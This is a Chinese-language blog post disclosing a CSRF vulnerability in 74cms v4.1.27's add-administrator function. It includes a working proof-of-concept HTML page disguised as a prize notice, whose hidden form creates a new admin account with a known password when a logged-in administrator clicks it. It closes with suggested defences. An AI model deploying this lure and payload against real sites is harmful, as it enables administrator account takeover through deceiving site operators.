74cms CSRF漏洞可以誘騙添加管理員

注:本文章只是簡單的發現了74cms[騎士cms] v4.1.27添加管理員時產生的CSRF漏洞


1.正常情況下,管理員會登錄後,進入到【系統】-【網絡管理員】-【添加管理員】中,進行添加管理員。



填寫好相關數據後,管理員正常進行添加。然後我們看看抓取到的數據


然後我嘗試僞造一個假頁面,內容如下:

<!DOCTYPE html>
<html lang="en">
<head>
	<meta charset="UTF-8">
	<title>恭喜你中獎啦</title>
</head>
  <body>
	<img src="img/bonus.jpg"/>
	    <form action="http://www.a.com/cms/index.php?m=admin&c=admin&a=add" method="POST" id="transfer" name="transfer">
        <input type="hidden" name="username" value="test_hi">
        <input type="hidden" name="email" value="[email protected]">
        <input type="hidden" name="password" value="admin">
        <input type="hidden" name="repassword" value="admin">
        <input type="hidden" name="role_id" value="1">
        <input type="hidden" name="submit3" value="添加">
		<button type="submit" value="Submit">進入領取</button>
      </form>
  </body>
</html>
顯示效果如下圖:


然後我們誘騙真實的管理員在登錄後,去訪問這個頁面。

當管理員點擊進入領取時,直接就執行了操作,因此實現了一個簡單的CSRF的攻擊。


然後我們可以看到在管理員那一欄目,新增了一個“test_hi”的管理員,密碼由僞造者設置[演示中是admin],如果真正的管理員沒有及時發現,那麼此賬號“test_hi”就可以利用。


嘗試登錄後,就可以看到,登錄成功。


我所想到的防禦:

1.在添加管理時檢測相關參數和頁面來源[Referer]

2.由於管理員權限較高,因此在添加時建議強制要求管理員輸入自己的密碼進行確認。


本文只是講解了74CMS的一個小問題,文章寫得不足不到之處,歡迎大家批評指正。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章